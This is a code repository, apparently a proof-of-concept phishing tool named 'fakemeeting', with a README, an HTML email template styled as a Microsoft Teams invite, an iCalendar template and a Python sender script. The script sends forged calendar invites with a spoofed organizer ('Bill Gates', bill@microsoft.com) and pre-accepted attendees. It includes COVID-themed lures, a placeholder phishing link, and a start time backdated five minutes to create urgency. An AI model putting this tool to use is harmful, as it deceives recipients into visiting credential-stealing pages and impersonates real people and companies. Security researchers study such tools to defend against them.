├── README.md
├── email_template.html
├── fakemeeting.py
└── iCalendar_template.ics
/README.md:
--------------------------------------------------------------------------------
1 | # fakemeeting
2 |
3 | POC tool for creating fake meeting invites.
4 |
5 |
6 | read more at https://www.exandroid.dev/2021/04/24/phishing-with-fake-meeting-invite/
7 |
--------------------------------------------------------------------------------
/email_template.html:
--------------------------------------------------------------------------------
1 |
{EVENT_TEXT}
2 | ________________________________________________________________________________
3 | Microsoft Teams meeting
4 | Join on your computer or mobile app
5 | Click here to join the meeting
6 | Learn More | Meeting options
7 | ________________________________________________________________________________
--------------------------------------------------------------------------------
/fakemeeting.py:
--------------------------------------------------------------------------------
1 | import time
2 | import codecs
3 | import smtplib
4 | import datetime
5 | from email.mime.text import MIMEText
6 | from email.mime.base import MIMEBase
7 | from email.encoders import encode_base64
8 | from email.mime.multipart import MIMEMultipart
9 | from email.utils import COMMASPACE, formatdate
10 |
11 |
12 | # smtp settings
13 | SERVER = 'smtp.gmail.com'
14 | PORT = 587
15 | USER_EMAIL = ""
16 | USER_PASS = ""
17 |
18 | # email settings
19 | EMAIL_SUBJECT = "Corona Meeting"
20 |
21 | # event settings
22 | EVENT_DESCRIPTION = "Corona Update Meeting"
23 | EVENT_SUMMARY = "Corona update meeting"
24 |
25 | ORGANIZER_NAME = "Bill Gates"
26 | ORGANIZER_EMAIL = "bill@microsoft.com"
27 | ATTENDEES = ["bob@microsoft.com", "john@microsoft.com"]
28 |
29 | # template settings
30 | EVENT_TEXT = "Corona update"
31 | EVENT_URL = "https://phishing-url-here"
32 |
33 |
34 | def load_template():
35 | template = ""
36 | with codecs.open("email_template.html", 'r', 'utf-8') as f:
37 | template = f.read()
38 | return template
39 |
40 |
41 | def prepare_template():
42 | email_template = load_template()
43 | email_template = email_template.format(EVENT_TEXT=EVENT_TEXT, EVENT_URL=EVENT_URL)
44 | return email_template
45 |
46 |
47 | def load_ics():
48 | ics = ""
49 | with codecs.open("iCalendar_template.ics", 'r', 'utf-8') as f:
50 | ics = f.read()
51 | return ics
52 |
53 |
54 | def prepare_ics(dtstamp, dtstart, dtend):
55 | ics_template = load_ics()
56 | ics_template = ics_template.format(DTSTAMP=dtstamp, DTSTART=dtstart, DTEND=dtend, ORGANIZER_NAME=ORGANIZER_NAME, ORGANIZER_EMAIL=ORGANIZER_EMAIL, DESCRIPTION=EVENT_DESCRIPTION, SUMMARY=EVENT_SUMMARY, ATTENDEES=generate_attendees())
57 | return ics_template
58 |
59 |
60 | def generate_attendees():
61 | attendees = []
62 | for attendee in ATTENDEES:
63 | attendees.append("ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=FALSE\r\n ;CN={attendee};X-NUM-GUESTS=0:\r\n mailto:{attendee}".format(attendee=attendee))
64 | return "\r\n".join(attendees)
65 |
66 |
67 | def send_email(to):
68 | print ('Sending email to: ' + to)
69 |
70 | # in .ics file timezone is set to be utc
71 | utc_offset = time.localtime().tm_gmtoff / 60
72 | ddtstart = datetime.datetime.now()
73 | dtoff = datetime.timedelta(minutes=utc_offset + 5) # meeting has started 5 minutes ago
74 | duration = datetime.timedelta(hours = 1) # meeting duration
75 | ddtstart = ddtstart - dtoff
76 | dtend = ddtstart + duration
77 | dtstamp = datetime.datetime.now().strftime("%Y%m%dT%H%M%SZ")
78 | dtstart = ddtstart.strftime("%Y%m%dT%H%M%SZ")
79 | dtend = dtend.strftime("%Y%m%dT%H%M%SZ")
80 |
81 | ics = prepare_ics(dtstamp, dtstart, dtend)
82 |
83 | email_body = prepare_template()
84 |
85 | msg = MIMEMultipart('mixed')
86 | msg['Reply-To']=USER_EMAIL
87 | msg['Date'] = formatdate(localtime=True)
88 | msg['Subject'] = EMAIL_SUBJECT
89 | msg['From'] = USER_EMAIL
90 | msg['To'] = to
91 |
92 | part_email = MIMEText(email_body,"html")
93 | part_cal = MIMEText(ics,'calendar;method=REQUEST')
94 |
95 | msgAlternative = MIMEMultipart('alternative')
96 | msg.attach(msgAlternative)
97 |
98 | ics_atch = MIMEBase('application/ics',' ;name="%s"' % ("invite.ics"))
99 | ics_atch.set_payload(ics)
100 | encode_base64(ics_atch)
101 | ics_atch.add_header('Content-Disposition', 'attachment; filename="%s"' % ("invite.ics"))
102 |
103 | eml_atch = MIMEBase('text/plain','')
104 | eml_atch.set_payload("")
105 | encode_base64(eml_atch)
106 | eml_atch.add_header('Content-Transfer-Encoding', "")
107 |
108 | msgAlternative.attach(part_email)
109 | msgAlternative.attach(part_cal)
110 |
111 | mailServer = smtplib.SMTP(SERVER, PORT)
112 | mailServer.ehlo()
113 | mailServer.starttls()
114 | mailServer.ehlo()
115 | mailServer.login(USER_EMAIL, USER_PASS)
116 | mailServer.sendmail(USER_EMAIL, to, msg.as_string())
117 | mailServer.close()
118 |
119 |
120 | def main():
121 | send_email("")
122 |
123 |
124 | main()
125 |
--------------------------------------------------------------------------------
/iCalendar_template.ics:
--------------------------------------------------------------------------------
1 | BEGIN:VCALENDAR
2 | PRODID:Microsoft Exchange Server 2010
3 | VERSION:2.0
4 | CALSCALE:GREGORIAN
5 | METHOD:REQUEST
6 | BEGIN:VTIMEZONE
7 | TZID:UTC
8 | BEGIN:STANDARD
9 | DTSTART:{DTSTART}
10 | TZOFFSETFROM:+0000
11 | TZOFFSETTO:+0000
12 | END:STANDARD
13 | BEGIN:DAYLIGHT
14 | DTSTART:{DTSTART}
15 | TZOFFSETFROM:+0000
16 | TZOFFSETTO:+0000
17 | END:DAYLIGHT
18 | END:VTIMEZONE
19 | BEGIN:VEVENT
20 | DTSTART;TZID=UTC:{DTSTART}
21 | DTEND;TZID=UTC:{DTEND}
22 | DTSTAMP:{DTSTAMP}
23 | ORGANIZER;CN={ORGANIZER_NAME}:mailto:{ORGANIZER_EMAIL}
24 | UID:FIXMEUID{DTSTAMP}
25 | {ATTENDEES}
26 | CREATED:{DTSTAMP}
27 | DESCRIPTION: {DESCRIPTION}
28 | LAST-MODIFIED:{DTSTAMP}
29 | LOCATION:Microsoft Teams Meeting
30 | SEQUENCE:0
31 | STATUS:CONFIRMED
32 | SUMMARY:{SUMMARY}
33 | TRANSP:OPAQUE
34 | END:VEVENT
35 | END:VCALENDAR
--------------------------------------------------------------------------------